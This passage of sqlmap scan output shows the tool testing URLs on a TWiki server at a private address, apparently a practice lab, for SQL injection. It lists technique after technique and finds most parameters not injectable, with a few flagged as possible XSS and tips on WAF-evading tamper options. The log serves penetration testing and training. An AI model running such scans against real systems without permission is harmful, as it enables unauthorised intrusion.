8.1 AND time-based blind' [19:26:46] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:26:46] [INFO] testing 'Oracle AND time-based blind' [19:26:47] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:26:47] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:26:52] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:26:58] [WARNING] GET parameter 't' is not injectable [19:26:58] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 107: GET http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=Welcome Guest[^A-Za-z] do you want to test this URL? [Y/n/q] Y [19:26:58] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=Welcome Guest[^A-Za-z]' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [19:26:58] [INFO] testing connection to the target URL [19:26:58] [INFO] testing if the target URL is stable [19:26:59] [INFO] target URL is stable [19:26:59] [INFO] testing if URI parameter '#1' is dynamic [19:26:59] [WARNING] URI parameter '#1*' does not appear dynamic [19:26:59] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [19:26:59] [INFO] testing for SQL injection on URI parameter '#1*' [19:26:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:26:59] [WARNING] reflective value(s) found and filtering out [19:27:00] [INFO] URI parameter '#1*' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable [19:27:00] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:27:01] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:27:01] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:27:01] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:27:01] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:27:01] [INFO] testing 'MySQL inline queries' [19:27:01] [INFO] testing 'PostgreSQL inline queries' [19:27:02] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:27:02] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:27:02] [WARNING] time-based comparison requires larger statistical model, please wait......
[19:27:02] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:27:02] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:27:02] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:27:02] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:27:03] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:27:03] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:27:03] [INFO] testing 'Oracle AND time-based blind' [19:27:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [19:27:03] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:27:03] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [19:27:05] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' [19:27:07] [INFO] checking if the injection point on URI parameter '#1*' is a false positive [19:27:07] [WARNING] false positive or unexploitable injection point detected [19:27:07] [WARNING] URI parameter '#1*' is not injectable [19:27:07] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 108: GET http://192.168.1.113:80/twiki/bin/view/TWiki/WelcomeGuest?skin=print do you want to test this URL? [Y/n/q] Y [19:27:07] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/TWiki/WelcomeGuest?skin=print' [19:27:07] [INFO] testing connection to the target URL [19:27:07] [INFO] testing if the target URL is stable [19:27:08] [INFO] target URL is stable [19:27:08] [INFO] testing if GET parameter 'skin' is dynamic [19:27:08] [INFO] confirming that GET parameter 'skin' is dynamic [19:27:08] [INFO] GET parameter 'skin' is dynamic [19:27:08] [INFO] heuristics detected web page charset 'ascii' [19:27:08] [WARNING] heuristic (basic) test shows that GET parameter 'skin' might not be injectable [19:27:08] [INFO] testing for SQL injection on GET parameter 'skin' [19:27:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:27:09] [WARNING] reflective value(s) found and filtering out [19:27:10] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:27:10] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:27:11] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:27:12] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:27:12] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:27:13] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:27:13] [INFO] testing 'MySQL inline queries' [19:27:13] [INFO] testing 'PostgreSQL inline queries' [19:27:14] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:27:14] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:27:14] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:27:15] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:27:15] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:27:16] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:27:16] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:27:17] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:27:18] [INFO] testing 'Oracle AND time-based blind' [19:27:19] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:27:19] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:27:26] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:27:34] [WARNING] GET parameter 'skin' is not injectable [19:27:34] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 109: GET http://192.168.1.113:80/twiki/bin/rdiff/TWiki/WelcomeGuest?rev1=1.21&rev2=1.20 do you want to test this URL? [Y/n/q] Y [19:27:34] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/WelcomeGuest?rev1=1.21&rev2=1.20' [19:27:34] [INFO] testing connection to the target URL [19:27:34] [INFO] testing if the target URL is stable [19:27:35] [INFO] target URL is stable [19:27:35] [INFO] testing if GET parameter 'rev1' is dynamic [19:27:35] [WARNING] GET parameter 'rev1' does not appear dynamic [19:27:35] [WARNING] heuristic (basic) test shows that GET parameter 'rev1' might not be injectable [19:27:36] [INFO] heuristic (XSS) test shows that GET parameter 'rev1' might be vulnerable to XSS attacks [19:27:36] [INFO] testing for SQL injection on GET parameter 'rev1' [19:27:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:27:36] [WARNING] reflective value(s) found and filtering out [19:27:37] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:27:37] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:27:37] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:27:38] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:27:39] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:27:39] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:27:39] [INFO] testing 'MySQL inline queries' [19:27:39] [INFO] testing 'PostgreSQL inline queries' [19:27:39] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:27:40] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:27:40] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:27:40] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:27:41] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:27:41] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:27:42] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:27:42] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:27:43] [INFO] testing 'Oracle AND time-based blind' [19:27:43] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:27:43] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:27:50] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:27:56] [WARNING] GET parameter 'rev1' is not injectable [19:27:56] [INFO] testing if GET parameter 'rev2' is dynamic [19:27:56] [INFO] confirming that GET parameter 'rev2' is dynamic [19:27:56] [INFO] GET parameter 'rev2' is dynamic [19:27:56] [WARNING] heuristic (basic) test shows that GET parameter 'rev2' might not be injectable [19:27:56] [INFO] heuristic (XSS) test shows that GET parameter 'rev2' might be vulnerable to XSS attacks [19:27:56] [INFO] testing for SQL injection on GET parameter 'rev2' [19:27:56] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:27:57] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:27:58] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:27:59] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:28:00] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:28:00] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:28:01] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:28:01] [INFO] testing 'MySQL inline queries' [19:28:02] [INFO] testing 'PostgreSQL inline queries' [19:28:03] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:28:03] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:28:04] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:28:04] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:28:05] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:28:05] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:28:05] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:28:06] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:28:07] [INFO] testing 'Oracle AND time-based blind' [19:28:07] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:28:13] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:28:20] [WARNING] GET parameter 'rev2' is not injectable [19:28:20] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 110: GET http://192.168.1.113:80/twiki/bin/view/TWiki/WelcomeGuest?rev=1.20 do you want to test this URL? [Y/n/q] Y [19:28:20] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/TWiki/WelcomeGuest?rev=1.20' [19:28:20] [INFO] testing connection to the target URL [19:28:20] [INFO] testing if the target URL is stable [19:28:21] [INFO] target URL is stable [19:28:21] [INFO] testing if GET parameter 'rev' is dynamic [19:28:21] [WARNING] GET parameter 'rev' does not appear dynamic [19:28:21] [WARNING] heuristic (basic) test shows that GET parameter 'rev' might not be injectable [19:28:21] [INFO] heuristic (XSS) test shows that GET parameter 'rev' might be vulnerable to XSS attacks [19:28:21] [INFO] testing for SQL injection on GET parameter 'rev' [19:28:21] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:28:22] [WARNING] reflective value(s) found and filtering out [19:28:23] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:28:23] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:28:24] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:28:25] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:28:25] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:28:26] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:28:26] [INFO] testing 'MySQL inline queries' [19:28:26] [INFO] testing 'PostgreSQL inline queries' [19:28:26] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:28:26] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:28:26] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:28:27] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:28:27] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:28:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:28:28] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:28:29] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:28:29] [INFO] testing 'Oracle AND time-based blind' [19:28:30] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:28:30] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:28:37] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:28:44] [WARNING] GET parameter 'rev' is not injectable [19:28:44] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [19:28:44] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/WelcomeGuest?rev1=1.20&rev2=1.19' [19:28:44] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WelcomeGuest?rev=1.19' URL 111: GET http://192.168.1.113:80/twiki/bin/oops/TWiki/WelcomeGuest?template=oopsmore¶m1=1.21¶m2=1.21 do you want to test this URL? [Y/n/q] Y [19:28:44] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/oops/TWiki/WelcomeGuest?template=oopsmore¶m1=1.21¶m2=1.21' [19:28:44] [INFO] testing connection to the target URL [19:28:44] [INFO] testing if the target URL is stable [19:28:45] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [19:28:45] [INFO] testing if GET parameter 'template' is dynamic [19:28:45] [INFO] confirming that GET parameter 'template' is dynamic [19:28:45] [INFO] GET parameter 'template' is dynamic [19:28:45] [INFO] heuristics detected web page charset 'ascii' [19:28:45] [WARNING] heuristic (basic) test shows that GET parameter 'template' might not be injectable [19:28:45] [INFO] heuristic (XSS) test shows that GET parameter 'template' might be vulnerable to XSS attacks [19:28:45] [INFO] testing for SQL injection on GET parameter 'template' [19:28:45] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:28:45] [WARNING] reflective value(s) found and filtering out [19:28:46] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:28:46] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:28:47] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:28:47] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:28:48] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:28:48] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:28:48] [INFO] testing 'MySQL inline queries' [19:28:48] [INFO] testing 'PostgreSQL inline queries' [19:28:48] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:28:48] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:28:49] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:28:49] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:28:49] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:28:50] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:28:50] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:28:50] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:28:51] [INFO] testing 'Oracle AND time-based blind' [19:28:51] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:28:51] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:28:56] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:29:01] [WARNING] GET parameter 'template' is not injectable [19:29:01] [INFO] testing if GET parameter 'param1' is dynamic [19:29:01] [WARNING] GET parameter 'param1' does not appear dynamic [19:29:01] [WARNING] heuristic (basic) test shows that GET parameter 'param1' might not be injectable [19:29:01] [INFO] heuristic (XSS) test shows that GET parameter 'param1' might be vulnerable to XSS attacks [19:29:01] [INFO] testing for SQL injection on GET parameter 'param1' [19:29:01] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:29:03] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:29:03] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:29:03] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:29:04] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:29:05] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:29:05] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:29:05] [INFO] testing 'MySQL inline queries' [19:29:05] [INFO] testing 'PostgreSQL inline queries' [19:29:06] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:29:06] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:29:06] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:29:07] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:29:07] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:29:08] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:29:08] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:29:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:29:09] [INFO] testing 'Oracle AND time-based blind' [19:29:10] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:29:18] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:29:25] [WARNING] GET parameter 'param1' is not injectable [19:29:25] [INFO] testing if GET parameter 'param2' is dynamic [19:29:26] [WARNING] GET parameter 'param2' does not appear dynamic [19:29:26] [WARNING] heuristic (basic) test shows that GET parameter 'param2' might not be injectable [19:29:26] [INFO] testing for SQL injection on GET parameter 'param2' [19:29:26] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:29:27] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:29:27] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:29:28] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:29:29] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:29:29] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:29:30] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:29:30] [INFO] testing 'MySQL inline queries' [19:29:30] [INFO] testing 'PostgreSQL inline queries' [19:29:30] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:29:30] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:29:31] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:29:31] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:29:32] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:29:32] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:29:33] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:29:33] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:29:34] [INFO] testing 'Oracle AND time-based blind' [19:29:35] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:29:43] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:29:50] [WARNING] GET parameter 'param2' is not injectable [19:29:50] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 112: GET http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiFAQ?t=1441457226 do you want to test this URL? [Y/n/q] Y [19:29:50] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiFAQ?t=1441457226' [19:29:50] [INFO] testing connection to the target URL [19:29:51] [INFO] testing if the target URL is stable [19:29:51] [INFO] target URL is stable [19:29:51] [INFO] testing if GET parameter 't' is dynamic [19:29:51] [WARNING] GET parameter 't' does not appear dynamic [19:29:52] [WARNING] heuristic (basic) test shows that GET parameter 't' might not be injectable [19:29:52] [INFO] testing for SQL injection on GET parameter 't' [19:29:52] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:29:53] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:29:53] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:29:53] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:29:54] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:29:54] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:29:55] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:29:55] [INFO] testing 'MySQL inline queries' [19:29:55] [INFO] testing 'PostgreSQL inline queries' [19:29:55] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:29:55] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:29:56] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:29:56] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:29:56] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:29:57] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:29:57] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:29:58] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:29:58] [INFO] testing 'Oracle AND time-based blind' [19:29:59] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:29:59] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:30:05] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:30:10] [WARNING] GET parameter 't' is not injectable [19:30:10] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 113: GET http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=TWiki FAQ[^A-Za-z] do you want to test this URL? [Y/n/q] Y [19:30:10] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=TWiki FAQ[^A-Za-z]' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [19:30:10] [INFO] testing connection to the target URL [19:30:11] [INFO] testing if the target URL is stable [19:30:12] [INFO] target URL is stable [19:30:12] [INFO] testing if URI parameter '#1' is dynamic [19:30:12] [WARNING] URI parameter '#1*' does not appear dynamic [19:30:12] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [19:30:12] [INFO] testing for SQL injection on URI parameter '#1*' [19:30:12] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:30:12] [WARNING] reflective value(s) found and filtering out [19:30:14] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:30:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:30:14] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:30:15] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:30:15] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:30:16] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:30:16] [INFO] testing 'MySQL inline queries' [19:30:16] [INFO] testing 'PostgreSQL inline queries' [19:30:16] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:30:16] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:30:17] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:30:17] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:30:17] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:30:18] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:30:18] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:30:19] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:30:20] [INFO] testing 'Oracle AND time-based blind' [19:30:20] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:30:20] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:30:26] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:30:33] [WARNING] URI parameter '#1*' is not injectable [19:30:33] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 114: GET http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiFAQ?skin=print do you want to test this URL? [Y/n/q] Y [19:30:33] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiFAQ?skin=print' [19:30:33] [INFO] testing connection to the target URL [19:30:34] [INFO] testing if the target URL is stable [19:30:34] [INFO] target URL is stable [19:30:34] [INFO] testing if GET parameter 'skin' is dynamic [19:30:35] [INFO] confirming that GET parameter 'skin' is dynamic [19:30:35] [INFO] GET parameter 'skin' is dynamic [19:30:35] [INFO] heuristics detected web page charset 'ascii' [19:30:35] [WARNING] heuristic (basic) test shows that GET parameter 'skin' might not be injectable [19:30:36] [INFO] testing for SQL injection on GET parameter 'skin' [19:30:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:30:36] [WARNING] reflective value(s) found and filtering out [19:30:41] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:30:42] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:30:45] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:30:48] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:30:50] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:30:53] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:30:54] [INFO] testing 'MySQL inline queries' [19:30:54] [INFO] testing 'PostgreSQL inline queries' [19:30:55] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:30:55] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:30:57] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:30:59] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:31:01] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:31:04] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:31:06] [INFO] testing 'PostgreSQL > 8.1 AND 